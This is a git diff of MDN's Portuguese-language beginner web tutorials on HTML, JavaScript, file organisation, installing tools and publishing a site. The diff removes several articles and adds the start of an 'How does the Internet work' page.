    - Este função faz uso da função prompt(), que mostra uma caixa de diálogo, semelhante a alert(). Mas a prompt() pede ao utilizador que introduza dados, que armazena numa variável depois que o mesmo faça OK. Neste caso, pedimos ao utilizador que introduza o seu nome. Depois, recorremos à API chamada localStorage, que nos permite guardar dados no navegador para os obter mais tarde. Utilizamos a função setItem() para criar e guardar o artigo 'name', e dando-lhe o valor da variável myName, a qual contém o nome introduzido pelo utilizador. Finalmente, mudamos o textContent do título para uma string, à qual concatenamos o nome recentemente armazenado.
  6. -
  7. Próximo: acrescente este bloco if ... else — podemos chamar-lhe código de iniciação, já que define a estrutura da aplicação quando é carregada pela primeira vez: -
    if(!localStorage.getItem('name')) {
    -  setUserName();
    -} else {
    -  var storedName = localStorage.getItem('name');
    -  myHeading.textContent = 'Mozilla is cool, ' + storedName;
    -}
    - Este bloco começa por utilizar o operador de negação ("não-lógico", representado pelo !) para averiguar se o dado name existe. Se não existir, a função setUserName() é utilizada para o criar. Se existe (ou seja, o utilizador introduziu-o numa visita anterior), recuperamos o nome armazenado com getItem() e mudamos textContent do título para a string, mais o nome do utilizador, da mesma forma que fizémos em setUserName().
  8. -
  9. Finalmente, coloque o manuseador do evento onclick no botão, como se mostra em baixo. Quando se clica no botão, é chamada a função setUserName(). Isto permite ao utilizador introduzir um novo nome, sempre que desejar, ao premir o botão: -
    myButton.onclick = function() {
    -  setUserName();
    -}
    -
    -
  10. -
- -

Agora, sempre que visitar o site, vai pedir-lhe o seu nome de utilizador, e depois mostrar a mensagem personalizada. Pode mudar o nome sempre que quiser ao premir o botão. Como bónus, já que o nome está guardado em localStorage (armazenamento local), persiste mesmo que o site seja fechado, e mantém a mensagem quando se voltar ao site!

- -

Conclusão

- -

Se seguiu as instruções neste artigo, o resultado final deve ser uma página semelhante à que vê na imagem em baixo (pode ver  a nossa versão aqui):

- -

- -

Caso se tenha perdido, pode comparar o código que escreveu com o nosso exemplo terminado no GitHub.

- -

Este artigo mal rasou a superfície de JavaScript. Se gostou de brincar e deseja continuar a aprender, dirija-se ao nosso tópico de aprendizegem de JavaScript.

- -
{{PreviousMenuNext("Learn/Comecar_com_a_Web/CSS_basico", "Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web", "Learn/Comecar_com_a_Web")}}
- -

Neste módulo

- - diff --git a/files/pt-pt/learn/comecar_com_a_web/html_basicos/index.html b/files/pt-pt/learn/comecar_com_a_web/html_basicos/index.html deleted file mode 100644 index 4601e08092..0000000000 --- a/files/pt-pt/learn/comecar_com_a_web/html_basicos/index.html +++ /dev/null @@ -1,237 +0,0 @@ ---- -title: HTML - Essencial -slug: Learn/Comecar_com_a_Web/HTML_basicos -tags: - - Aprender - - CodingScripting - - HTML - - Principiante - - Web - - 'l10n:priority' -translation_of: Learn/Getting_started_with_the_web/HTML_basics ---- -
-
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Comecar_com_a_Web/Lidar_com_ficheiros", "Learn/Comecar_com_a_Web/CSS_basico", "Learn/Comecar_com_a_Web")}}
- -
-

HTML (Linguagem de Marcação de Hipertexto) é o código que é utilizado para estruturar uma página da web e o seu conteúdo. Por exemplo, o conteúdo poderá ser estruturado dentro de um conjunto de parágrafos, uma lista de pontos com marcadores, ou utilizando imagens e tabelas de dados. Como o título sugere, este artigo irá dar-lhe uma compreensão básica do HTML e as suas funções.

-
- -

Então, o que é realmente o HTML?

- -

HTML não é uma linguagem de programação; é uma linguagem de marcação que define a estrutura do seu conteúdo. HTML consiste numa série de {{Glossary("element", "elementos")}}, que se utilizam para envolver, ou cercar, diferentes partes do conteúdo, e assim fazê-lo ter uma determinada aparência ou agir de determinada maneira. As {{Glossary("tag", "etiquetas")}} envolventes podem interligar as palavras ou imagens para outro lugar, colocar palavras em itálico, tornar a letra maior ou menor, e assim por diante. Por exemplo, veja a seguinte linha de conteúdo:

- -
O meu gato é muito rabugento
- -

Caso queiramos que a linha esteja separada de outras, podemos especificar que é um parágrafo envolvendo-a em etiquetas de parágrafo:

- -
<p>O meu gato é muito rabugento</p>
- -

Anatomia de um elemento HTML

- -

Vamos explorar este elemento de parágrafo um pouco mais.

- -

- -

As partes principais do nosso elemento são:

- -
    -
  1. A etiqueta de abertura: Consiste no nome do elemento (neste caso, p), envolto em parênteses angulares. Isto afirma onde começa o elemento, ou onde começa a ter efeito — neste caso, onde começa o parágrafo.
  2. -
  3. A etiqueta de fecho: É igual à de abertura, mas tem uma barra antes do nome do elemento. Isto afirma onde acaba o elemento — neste caso, onde fica o fim do parágrafo. Omitir a etiqueta de fecho é um erro de principiante comum e pode levar a resultados estranhos.
  4. -
  5. O conteúdo: É o conteúdo do elemento, que neste caso é só texto.
  6. -
  7. O elemento: A etiqueta de abertura, mais a etiqueta de fecho, mais o conteúdo, é igual ao elemento.
  8. -
- -

Elementos também podem ter atributos, que se parecem assim:

- -

- -

Atributos contêm informação extra sobre o elemento que não quer que apareça no conteúdo. Aqui, class é o nome do atributo, e editor-note é o valor do atributo. O atributo class permite identificar o elemento como sendo parte de um grupo, que pode ser alvo de regras CSS e outras coisas.

- -

Um atributo deverá ter sempre:

- -
    -
  1. Um espaço entre si o nome do elemento (ou do atributo anterior, se esse elemento já possuir um ou mais atributos).
  2. -
  3. O nome do atributo, seguido de um sinal de igual.
  4. -
  5. O valor do atributo, envolto em abre e fecha aspas.
  6. -
- -
-

Nota: Valores de atributos que não possuam espaço em branco ASCII (ou nenhum dos caracteres " ' = < >), mas recomendado que todos os valores de atributos sejam envoltos em aspas, para tornar o código mais consistente e compreensível.

-
- -

Aninhar elementos

- -

Também pode colocar elementos dentro de outros elementos  — chama-se a isto aninhar. Se quisermos declarar que o nosso gato é muito rabugento, podemos cercar a palavra "muito" com um elemento {{htmlelement("strong")}}, que significa que a palavra tem ênfase forte:

- -
<p>O meu gato é <strong>muito</strong> rabugento.</p>
- -

No entanto, tem que se certificar que os seus elementos estão devidamente aninhados: no exemplo em cima, abrimos o elemento {{htmlelement("p")}} primeiro, e depois o elemento {{htmlelement("strong")}} , portanto temos que fechar o elemento {{htmlelement("strong")}} primeiro, e só depois o {{htmlelement("p")}}. A linha seguinte está errada:

- -
<p>O meu gato é <strong>muito rabugento.</p></strong>
- -

Os elementos têm que abrir e fechar corretamente para que seja claro se estão dentro ou fora uns dos outros. Se ficarem sobrepostos como se mostrou em cima, o seu navegador vai tentar adivinhar o que quis dizer, e pode obter resultados inesperados. Então, não faça isso!

- -

Elementos vazios

- -

Alguns elementos não têm conteúdo, aos quais chamamos elementos vazios. Veja o elemento {{htmlelement("img")}} que já temos no nosso HTML:

- -
<img src="images/firefox-icon.png" alt="My test image">
- -

O mesmo contém dois atributos, mas não há etiqueta de fecho, </img>, nem conteúdo no seu interior, uma vez que um elemento de imagem não envolve conteúdo para o afetar. O seu propósito é incorporar uma imagem na página HTML, no local onde aparece.

- -

Anatomia de um documento HTML

- -

Assim terminamos as bases de elementos HTML individuais, mas eles não são muito úteis sozinhos. Vamos agora ver como os elementos se combinam para formar uma página HTML inteira. Voltemos ao código que escrevemos no ficheiro de exemplo index.html (que conhecemos no artigo Lidar com ficheiros):

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-    <title>My test page</title>
-  </head>
-  <body>
-    <img src="images/firefox-icon.png" alt="My test image">
-  </body>
-</html>
- -

Aqui temos:

-
- - - -

Imagens

- -

Vamos virar a nossa atenção para o elemento {{htmlelement("img")}} outra vez:

- -
<img src="images/firefox-icon.png" alt="My test image">
- -

Como já referimos, incorpora uma imagem na nossa página, no local onde aparece. Para tal recorre ao atributo src (source — fonte, origem), que contém o caminho para o ficheiro de imagem.

- -

Também incluímos o atributo alt (alternativa). Neste atributo, você especifica texto descritivo para utilizadores que não conseguem ver a imagem, possivelmente porque:

- -
    -
  1. Têm deficiências visuais. Utilizadores com deficiências visuais significativas costumam utilizar ferramentas chamadas leitores de ecrã que lhes lê o texto alternativo.
  2. -
  3. Alguma coisa correu mal e fez com que a imagem não fosse mostrada. Por exemplo, tente mudar deliberadamente o caminho no atributo src para torná-lo incorreto. Se guardar e recarregar a página, deve ver algo como isto em vez da imagem:
  4. -
- -

- -

As palavras-chave sobre texto alternativo são: "texto descritivo". Ou seja, deve dar ao leitor informação suficiente para ter uma boa ideia do que a imagem transmite. Neste exemplo, o texto atual, "My test image" não é nada bom. Uma alternativa muito melhor para o nosso logótipo do Firefox seria "Logótipo do Firefox: uma raposa flamejante a rodear o mundo."

- -

Agora, tenta encontrar texto alternativo melhor para a tua imagem.

- -
-

Nota: saiba mais sobre acessibilidade em MDN - Página de Acessibilidade.

-
- -

Marcação de texto

- -

Esta secção irá abranger alguns dos elementos básicos de HTML que irá utilizar para marcar texto.

- -

Títulos

- -

Elementos de título permitem especificar que determinadas partes do seu conteúdo são títulos (ou subtítulos) do conteúdo. Da mesma forma que um livro tem um título principal, títulos de capítulos e subtítulos, um documento HTML também os pode ter. HTML contém seis níveis de títulos, {{htmlelement("h1")}}–{{htmlelement("h6")}} mas geralmente usam-se no máximo 3 ou 4:

- -
<h1>Título principal</h1>
-<h2>Título mais abrangente</h2>
-<h3>Subtítulo</h3>
-<h4>Sub-subtítulo</h4>
- -

Tente agora acrescentar um título à sua página HTML mesmo por cima do seu elemento {{htmlelement("img")}}.

- -

Parágrafos

- -

Como já foi explicado, elementos {{htmlelement("p")}} servem para conter parágrafos; vai usá-los frequentemente quando marcar conteúdo textual:

- -
<p>Isto é um único parágrafo</p>
- -

Acrescente um ou mais parágrafos com a sua amostra de texto (conforme o artigo Qual será a aparência do seu site da Web?), diretamente por baixo do elemento {{htmlelement("img")}}.

- -

Listas

- -

Grande parte do conteúdo da web está em listas, e HTML tem elementos especiais para as mesmas. Marcar listas consiste sempre em pelo menos 2 elementos. As listas mais comuns são as listas ordenadas e não ordenadas:

- -
    -
  1. Listas não ordenadas são listas em que a ordem dos elementos não é relevante, como uma lista de compras. São envoltas no elemento {{htmlelement("ul")}}.
  2. -
  3. Listas ordenadas são listas em que a ordem dos elementos é importante, como uma receita. São envoltas no elemento {{htmlelement("ol")}}.
  4. -
- -

Cada artigo na lista é colocado dentro de um elemento {{htmlelement("li")}} (list item).

- -

Por exemplo, se quisermos transformar parte deste trecho numa lista:

- -
<p>Na Mozilla, somos uma comunidade global de tecnólogos, pensadores, e construtores que trabalham juntos ... </p>
- -

Podemos modificar a marcação desta forma:

- -
<p>Na Mozilla, somos uma comunidade global de</p>
-
-<ul>
-  <li>tecnólogos</li>
-  <li>pensadores</li>
-  <li>construtores</li>
-</ul>
-
-<p>que trabalham juntos ... </p>
- -

Tente acrescentar uma lista ordenada ou não ordenada à sua página de exemplo.

- -

Hiperligações

- -

As hiperligações são muito importantes — são elas que tornam a internet na internet! Para acrescentar uma ligação, precisamos de um elemento simples — {{htmlelement("a")}} — cujo "a" abrevia "âncora". Para transformar texto no seu parágrafo numa ligação, siga estes passos:

- -
    -
  1. Escolha algum texto. Escolhemos o texto "Manifesto da Mozilla".
  2. -
  3. Envolva o texto num elemento {{htmlelement("a")}}, assim: -
    <a>Manifesto da Mozilla</a>
    -
  4. -
  5. Dê ao elemento {{htmlelement("a")}} um atributo href, assim: -
    <a href="">Manifesto da Mozilla</a>
    -
  6. -
  7. Preencha o valor deste atributo com o endereço web para o qual quer ligar a hiperligação: -
    <a href="https://www.mozilla.org/pt-PT/about/manifesto/">Manifesto da Mozilla</a>
    -
  8. -
- -

Pode obter resultados inesperados se omitir a parte do protocolo no início do endereço web (https:// ou http://). Depois de criar uma hiperligação, clique para assegurar que está a enviá-lo para onde é pretendido.

- -
-

href pode, à primeira vista, parecer uma escolha obscura para o nome de um atributo. Se tiver dificuldades em lembrar-se dele, recorde que significa hypertext reference.

-
- -

Agora, acrescente a hiperligação à sua página, se ainda não o fez.

- -

Conclusão

- -

Se seguiu todas as instruções nesta página, deve ter conseguido uma página que se assemelha à página em baixo (também pode vê-la aqui):
-
- A web page screenshot showing a firefox logo, a heading saying mozilla is cool, and two paragraphs of filler text

- -

Se ficou preso, pode comparar o seu trabalho com o exemplo do código terminado no GitHub.

- -

Aqui, mal tocámos na superfície da linguagem HTML. Para descobrir mais, dirija-se ao nosso tópico sobre Aprender HTML.

- -

{{PreviousMenuNext("Learn/Comecar_com_a_Web/Lidar_com_ficheiros","Learn/Comecar_com_a_Web/CSS_basico", "Learn/Comecar_com_a_Web")}}

- -

Neste módulo

- - diff --git a/files/pt-pt/learn/comecar_com_a_web/index.html b/files/pt-pt/learn/comecar_com_a_web/index.html deleted file mode 100644 index 59a4431592..0000000000 --- a/files/pt-pt/learn/comecar_com_a_web/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Primeiros passos na Web -slug: Learn/Comecar_com_a_Web -tags: - - Beginner - - CSS - - Desenho - - Guía - - HTML - - 'I10n:priority' - - Index - - publicação - - teoria -translation_of: Learn/Getting_started_with_the_web ---- -
{{LearnSidebar}}
- -
-

Iniciação à Web é uma série concisa introduzindo-lhe os aspetos práticos do desenvolvimento da Web. Irá configurar as ferramentas necessárias para criar uma página da Web simples e publicar o seu próprio código simples.

-
- -

A história do seu primeiro site da Web

- -

É muito trabalho para criar um site da Web profissional, por isso, se é novo no desenvolvimento da Web, nós encorajamos que comece por uma coisa pequena. Não irá criar outro Facebook de imediato, mas não é difícil ter o seu próprio site da Web simples on-line. Vamos lá começar.

- -

Ao trabalhar com os artigos listados abaixo em ordem, irá passar do nada para ter a sua primeira página da Web on-line. Vamos lá!

- -

Instalar software básico

- -

Quando se trata de ferramentas para criar um site da Web, há muito a escolher. Se está apenas a começar, pode ficar confuso com a variedade de editores de código, estruturas e ferramentas de teste disponíveis. Em Instalar software básico, nós mostramos-lhe passo-a-passo como instalar apenas o software necessário para iniciar um desenvolvimento da web básico.

- -

Qual será a aparência do seu site da Web?

- -

Antes de começar a escrever o código do seu site da Web, deverá planeá-lo primeiro. Que informação está a apresentar? Que tipo de letra e cores está a utilizar? Como é que será apresentado o seu site da Web? Nós descrevemos um método simples que pode seguir para planear o conteúdo e o desenho do seu site.

- -

Lidar com ficheiros

- -

Um site consiste em muitos ficheiros: conteúdo de texto, código, stylesheets, conteúdo de média, e mais. Quando constrói um site, precisa de organizar os seus ficheiros e certificar-se que podem comunicar uns com os outros. Lidar com ficheiros explica como criar uma estrutura para os ficheiros do seu site e quais as questões que devem ser do seu conhecimento.

- -

Básicos de HTML

- -

Hypertext Markup Language (HTML) é o código que usa para estruturar, dar significado, e propósito ao seu conteúdo de web. Por exemplo, é o meu conteúdo um conjunto de parágrafos, ou uma lista de pontos? Tenho imagens inseridas na minha página? O HTML - Essencial fornece informação suficiente para o familiarizar com o HTML, sem o sobrecarregar.

- -

Básicos de CSS

- -

Cascading Stylesheets (CSS) é o código que usa para decorar o seu site. Por exemplo, quer o texto colorido negro ou vermelho? Onde desenhar o conteúdo no ecrã? Que imagens de fundo e cores deve usar para decorar o site? CSS - Essencial leva-o através do que precisa para começar.

- -

Básicos de JavaScript

- -

JavaScript é a linguagem de programação que utiliza para adicionar funcionalidades interativas ao seu website, por exemplo, jogos, coisas que acontecem quando botões são premidos ou quando dados são introduzidos em formulários, efeitos de estilo dinâmicos, animação, e muito mais. JavaScript - Essencial dá-lhe uma ideia do que é possível com esta linguagem emocionante, e como começar.

- -

Publicar o seu site da Web

- -

Após de escrever o código e organizar os ficheiros que compõem o seu site, tem de o colocar online para que as pessoas o possam encontrar. "Publicar o seu site da Web" descreve como colocar o seu código de amostra simples online com o mínimo de esforço.

- -

Como é que funciona a Web

- -

Quando acede ao seu site favorito, muitas coisas complicadas acontecem em segundo plano de que poderá não ter conhecimento. Como funciona a Web descreve o que acontece quando visualiza uma página da web no seu computador.

- -

Consulte também

- - diff --git a/files/pt-pt/learn/comecar_com_a_web/installing_basic_software/index.html b/files/pt-pt/learn/comecar_com_a_web/installing_basic_software/index.html deleted file mode 100644 index ebc5ddd3e3..0000000000 --- a/files/pt-pt/learn/comecar_com_a_web/installing_basic_software/index.html +++ /dev/null @@ -1,165 +0,0 @@ ---- -title: Instalar software básico -slug: Learn/Comecar_com_a_Web/Installing_basic_software -tags: - - Aprender - - Beginner - - Configurar - - Ferramentas - - Mecânicas da Web - - Navegador - - editor de texto - - 'l10n:priority' -translation_of: Learn/Getting_started_with_the_web/Installing_basic_software ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/Comecar_com_a_Web/Apresentacao_do_meu_site", "Learn/Comecar_com_a_Web")}}
- -
-

Neste artigo, mostramos-lhe de que ferramentas precisa para desenvolvimento da Web básico, e como instalá-las corretamente.

-
- -

Que ferramentas é que os profissionais utilizam?

- - - -

De que ferramentas realmente preciso, de momento?

- -

Parece uma lista assustadora, mas felizmente pode começar a desenvolver para a web sem saber nada sobre a maioria daquelas coisas. Neste artigo instalamos o mínimo dos mínimos — editor de texto e navegadores modernos.

- -

Instalar um editor de texto

- -

Provavelmente já tem um editor de texto simples no seu computador. O Windows inclui, de fábrica, o Bloco de Notas (Notepad) e o macOS vem com o Editor de Texto (TextEdit). Em distribuições de Linux, varia; Ubuntu vem com o gedit.

- -

Para desenvolvimento na Web, há alternativas mais completas que o Notepad ou TextEdit. Propomos-lhe começar com o Visual Studio Code, um editor gratuito que oferece pré-visualização em tempo real e sugestões de código.

- -
-

Não confundir Notepad (Bloco de Notas) com Wordpad! Este último é equiparável a programas de Office, que não são adequados para escrever código de computador, como já foi referido. 

-
- -

Instalar navegadores da Web modernos

- -

Antes de avançar, deve escolher uns navegadores que possa ter à mão para realizar testes. Escolha o seu sistema operativo e faça clique nos links para descarregar o programa de instalação respetivo dos seus navegadores preferidos:

- - - -
-

Internet Explorer (IE) não é compatível com funções da web modernas e pode não conseguir correr o seu projeto. Tipicamente não será necessário fazer os seus projetos compatíveis com o IE, pois muito poucas pessoas ainda a utilizam - certamente não se preocupe muito com isso enquanto está a aprender. Por vezes pode deparar-se com um projeto que requer apoio para o mesmo.

-
- -

Instalar um servidor da Web local

- -

Alguns exemplos terão de ser executados através de um servidor da Web para funcionar com sucesso. Pode aprender como fazer isto no artigo como configurar um servidor local de testes?

- -
{{NextMenu("Learn/Comecar_com_a_Web/Apresentacao_do_meu_site", "Learn/Comecar_com_a_Web")}}
- -

Neste módulo

- - - -
- - - - - -
diff --git a/files/pt-pt/learn/comecar_com_a_web/lidar_com_ficheiros/index.html b/files/pt-pt/learn/comecar_com_a_web/lidar_com_ficheiros/index.html deleted file mode 100644 index 6489964938..0000000000 --- a/files/pt-pt/learn/comecar_com_a_web/lidar_com_ficheiros/index.html +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: Lidar com ficheiros -slug: Learn/Comecar_com_a_Web/Lidar_com_ficheiros -tags: - - Beginner - - Ficheiros - - Guía - - HTML - - Programação Scripting - - 'l10n:priority' - - site da Web - - teoria -translation_of: Learn/Getting_started_with_the_web/Dealing_with_files ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Comecar_com_a_Web/Apresentacao_do_meu_site", "Learn/Comecar_com_a_Web/HTML_basicos", "Learn/Comecar_com_a_Web")}}
- -
-

Um site da internet consiste em muitos ficheiros: conteúdo de texto, código, folhas de estilo, conteúdo de multimédia, e assim por diante. Enquanto estiver a criar o site, tem que reunir esses ficheiros numa estrutura conveniente no seu computador local, certificar-se que os mesmos podem comunicar uns com os outros e preparar a apresentação do seu conteúdo, antes de eventualmente enviar os ficheiros para um servidor. Este artigo, Lidar com ficheiros, apresenta algumas questões de que deverá estar ciente para poder configurar uma estrutura de ficheiros conveniente para o seu site.

-
- -

Onde deve ficar o seu site no seu computador ?

- -

Quando estiver a trabalhar num site localmente, no seu computador, deve manter todos os ficheiros relacionados numa única pasta que seja o reflexo da estrutura de ficheiros do site no servidor. Esta pasta pode ficar onde quiser, mas deve colocá-la num local de fácil acesso: talvez no seu Ambiente de Trabalho, a pasta do seu utilizador, ou a raiz do seu disco rígido.

- -
    -
  1. Escolha um sítio para guardar os seus projetos relacionados com sites. Lá, crie uma pasta com o nome projetos-web (ou um nome semelhante). É aqui que vão morar todos os seus projetos de sites.
  2. -
  3. Dentro desta pasta, crie outra pasta para guardar o seu primeiro site. Pode-lhe chamar site-de-teste (ou algo mais criativo).
  4. -
- -

Um aparte sobre nomes de pastas e ficheiros

- -

Ao longo deste artigo poderá notar que os nomes que são dados às pastas e aos ficheiros estão todos em minúsculas e sem espaços. Isto porque:

- -
    -
  1. Muitos computadores, particularmente servidores da internet, são sensíveis a maiúsculas. Por exemplo, se criar um ficheiro de imagem com o nome site-de-teste/MinhaImagem.jpg e depois noutro ficheiro tentar referir-se a ela com o nome site-de-teste/minhaimagem.jpg, pode não resultar.
  2. -
  3. Navegadores, servidores, e linguagens de programação não tratam os espaços da mesma forma. Por exemplo, se usar espaços no nome do ficheiro, alguns sistemas podem tratá-lo como dois nomes separados. Alguns servidores substituem os espaços por "%20" (código de carácter de espaços em URI), e assim arruínam os seus links.
  4. -
- -

Por essas razões, é melhor habituar-se a escrever os nomes de pastas e ficheiros sem espaços e com palavras separadas por hífen, pelo menos até saber o que está a fazer. Desta forma, irá encontrar menos problemas mais tarde.

- -

Inicialmente, é melhor separar palavras com hífen em vez de underscoremeu-ficheiro.html em vez de meu_ficheiro.html, pois o motor de pesquisa Google interpreta o hífen como separador de palavras, mas não o underscore.

- -

Que estrutura deverá ter o seu site?

- -

De seguida, vamos discutir a estrutura que deve ter o site de teste. As coisas mais comuns que temos em qualquer site são um ficheiro índice e pastas que organizam os ficheiros por tipo: imagens, folhas de estilo e scripts. Vamos criá-las agora:

- -
    -
  1. index.html: Este ficheiro geralmente descreve o conteúdo da sua página principal, ou seja, o texto e imagens que as pessoas veem quando visitam o site pela primeira vez. Com um editor de texto, crie um ficheiro index.html e guarde-o dentro da pasta site-de-teste.
  2. -
  3. Pasta images: Esta pasta irá conter todas as imagens do seu site. Crie um pasta com este nome dentro da pasta site-de-teste.
  4. -
  5. Pasta styles: Esta pasta contém o código CSS que dá estilo ao conteúdo (por exemplo, cor do texto e do fundo). Crie-a dentro da pasta site-de-teste.
  6. -
  7. Pasta scripts: Esta pasta contém o código JavaScript que dá interatividade ao seu site (ex: botões que carregam dados quando premidos). Crie-adentro da pasta site-de-teste.
  8. -
- -
-

Nota: Em computadores com Windows, pode ter dificuldade em ver nomes dos ficheiros, porque no Windows tem uma opção, ligada por omissão, para Esconder extensões de ficheiros conhecidas. Em geral, pode desligá-la no Explorador do Windows, selecionar Opções de pastas..., desmarcar a opção em questão, na caixa de seleção, e clicar OK. Para mais informações sobre a sua versão específica de Windows, faça uma pesquisa na internet. 

-
- -

Caminhos de ficheiros

- -

Para permitir a comunicação entre ficheiros, é necessário estabelecer os caminhos entre eles. Para demonstrar, vamos inserir algum HTML no ficheiro index.html que mostra a imagem que escolheu no artigo Qual será a aparência do meu site?

- -
    -
  1. Copie a imagem escolhida para a pasta images.
  2. -
  3. Abra o ficheiro index.html, e copie o código exatamente como se mostra em baixo. Para já não se preocupe com o que significa — vamos olhar para estas estruturas mais tarde. -
    <!DOCTYPE html>
    -<html>
    -  <head>
    -    <meta charset="utf-8">
    -    <title>My test page</title>
    -  </head>
    -  <body>
    -    <img src="" alt="My test image">
    -  </body>
    -</html> 
    -
  4. -
  5. A linha <img src="" alt="My test image"> é o código HTML que insere uma imagem na página. É necessário dizer, neste trecho de código HTML, onde está a imagem. A mesma está dentro da diretoria images, a qual está na mesma diretoria que index.html. Para descer na estrutura de ficheiros, de index.html para a imagem, o caminho é images/nome-da-imagem. Por exemplo, se a mesma e chamasse firefox-icon.png, o caminho seria images/firefox-icon.png.
  6. -
  7. Insira este caminho no código HTML, entre as aspas neste trecho de código: src="".
  8. -
  9. Guarde o ficheiro HTML, depois carregue-o no seu navegador (com duplo clique). Deve conseguir ver o novo site, com a imagem! 
  10. -
- -

A screenshot of our basic website showing just the firefox logo - a flaming fox wrapping the world

- -

Algumas regras gerais sobre caminhos de ficheiros:

- - - -

Por agora é tudo o que precisa de saber.

- -
-

Nota: O Windows usa barras invertidas, como no caminho C:\windows. Mas em HTML, isso é irrelevante — mesmo que esteja a construir o site num sistema Windows, pode usar a barra normal, /.

-
- -

Que mais deverá ser feito?

- -

Por agora é tudo. A sua estrutura deverá ser como esta:

- -

A file structure in mac os x finder, showing an images folder with an image in, empty scripts and styles folders, and an index.html file

- -

{{PreviousMenuNext("Learn/Comecar_com_a_Web/Apresentacao_do_meu_site", "Learn/Comecar_com_a_Web/HTML_basicos", "Learn/Comecar_com_a_Web")}}

- -

Neste módulo

- - diff --git a/files/pt-pt/learn/comecar_com_a_web/publicar_o_seu_site_da_web/index.html b/files/pt-pt/learn/comecar_com_a_web/publicar_o_seu_site_da_web/index.html deleted file mode 100644 index 7e99504b95..0000000000 --- a/files/pt-pt/learn/comecar_com_a_web/publicar_o_seu_site_da_web/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Publicar o seu site na Web -slug: Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web -tags: - - Aprender - - Beginner - - CodingScripting - - FTP - - GitHub - - Google App Engine - - Servidor de Web - - Web - - publicar -translation_of: Learn/Getting_started_with_the_web/Publishing_your_website ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Comecar_com_a_Web/Elementar_de_JavaScript", "Learn/Comecar_com_a_Web/Como_funciona_a_Web", "Learn/Comecar_com_a_Web")}}
- -
-

Assim que terminar de escrever o código e organizar os ficheiros que compõem o seu sire da web, precisa de colocar tudo online para que pessoas o possam encontrar. Este artigo explica como colocar o seu código de amostra online com pouco esforço.

-
- -

Quais são as opções?

- -

A publicação de um site na web é um tema complexo porque há muitas maneiras de o abordar. Este artigo não tenta documentar todos os métodos possíveis. Em vez disso, explica as vantagens e desvantagens de três abordagens que são práticas para os principiantes. Depois, passa por um método que pode funcionar de imediato para muitos leitores.

- -

Encontrar hospedagem na web e um nome de domínio

- -

Para ter mais controlo sob o conteúdo e a aparência dum site, a maioria das pessoas escolhe comprar hospedagem na web e um nome de domínio:

- - - -

Muitos sites profissionais escolhem este modo para pôr o seu site online.

- -

Além disso, precisará de um programa {{Glossary("FTP", "File Transfer Protocol (FTP)")}} (ver How much does it cost: software para mais detalhes) para transferir os ficheiros do site para o servidor. Os programas FTP variam muito, mas geralmente, tem de se ligar ao seu servidor web utilizando os detalhes fornecidos pela sua empresa de hospedagem (normalmente nome de utilizador, palavra-passe, nome de anfitrião). Depois, o programa mostra-lhe os seus ficheiros locais e os ficheiros do servidor web em duas janelas, e fornece-lhe uma forma de transferir ficheiros para trás e para a frente.

- -

- -

Dicas para encontrar hospedagem na web e um nome de domínio

- - - -

Usar uma ferramenta online

- -

Algumas ferramentas permitem publicar o seu site online:

- - - -

Estas opções são tipicamente grátis, mas é possível você acabar por precisar mais que as funções que elas oferecem.

- -

Usar um IDE online

- -

Existem várias aplicações web que imitam um ambiente de desenvolvimento de website, permitindo-lhe introduzir HTML, CSS e JavaScript, e depois mostrar o resultado desse código como um website — tudo num único separador do navegador. Em geral, estas ferramentas são relativamente fáceis de manusear, ótimas para aprender, boas para partilhar código (por exemplo, se quiser partilhar uma técnica com ou pedir ajuda de depuração a colegas num escritório diferente), e gratuitas (para funcionalidades básicas). Hospedam a sua página num endereço da web único. No entanto, as funcionalidades são limitadas, e estas aplicações normalmente não fornecem espaço de alojamento para ativos (como imagens).

- -

Experimente usar as seguintes IDEs para descobrir qual é a melhor para si:

- - - -

- -

Publicar via GitHub

- -

Agora vejamos como facilmente publicar o seu site através do GitHub Pages.

- -
    -
  1. Primeiro, inscreva se no GitHub e confirme o seu endereço eletrónico.
  2. -
  3. A seguir, a crie um repositório para guardar os seus ficheiros.
  4. -
  5. Nesta página, na caixa Repository name, escreva username.github.io, onde username é o seu nome de utilizador. Por exemplo, Bob Smith iria introduzir bobsmith.github.io na caixa. Selecione a caixa "Initialize this repository with a README", e carregue "Create repository".
  6. -
  7. Arraste os conteúdos da sua pasta para o website, para dentro do repositório. Depois carregue em Commit changes.
    - -
    -

    Nota: Certifique se que a sua pasta contém o ficheiro index.html.

    -
    -
  8. -
  9. -

    Navegue no seu navegador até username.github.io para ver o seu website online. Por exemplo, para o nome de utilizador chrisdavidmills, vai a chrisdavidmills.github.io.

    - -
    -

    Nota: Pode demorar alguns minutos para que o seu site esteja live. Se o seu site não for visível imediatamente, espere por uns minutos e tente novamente.

    -
    -
  10. -
- -

Para aprender mais, veja GitHub Pages Help.

- -

Leitura complementar

- - - -

{{PreviousMenuNext("Learn/Comecar_com_a_Web/Elementar_de_JavaScript", "Learn/Comecar_com_a_Web/Como_funciona_a_Web", "Learn/Comecar_com_a_Web")}}

- -

Neste módulo

- - diff --git a/files/pt-pt/learn/common_questions/how_does_the_internet_work/index.html b/files/pt-pt/learn/common_questions/how_does_the_internet_work/index.html new file mode 100644 index 0000000000..d2ba60f9a3 --- /dev/null +++ b/files/pt-pt/learn/common_questions/how_does_the_internet_work/index.html @@ -0,0 +1,100 @@ +--- +title: Como funciona Internet? +slug: Learn/Questoes_comuns/Como_funciona_a_Internet +tags: + - Mecânica da Web + - Principiante + - Tutorial +translation_of: Learn/Common_questions/How_does_the_Internet_work +--- +
{{LearnSidebar}}
+ +
+

This article discusses what the Internet is and how it works.

+
+ + + + + + + + + + + + +
Prerequisites:None, but we encourage you to read the Article on setting project goals first
Objective:You will learn the basics of the technical infrastructure of the Web and the difference between Internet and the Web.
+ +

Resumo

+ +

The Internet is the backbone of the Web, the technical infrastructure that makes the Web possible. At its most basic, the Internet is a large network of computers which communicate all together.

+ +

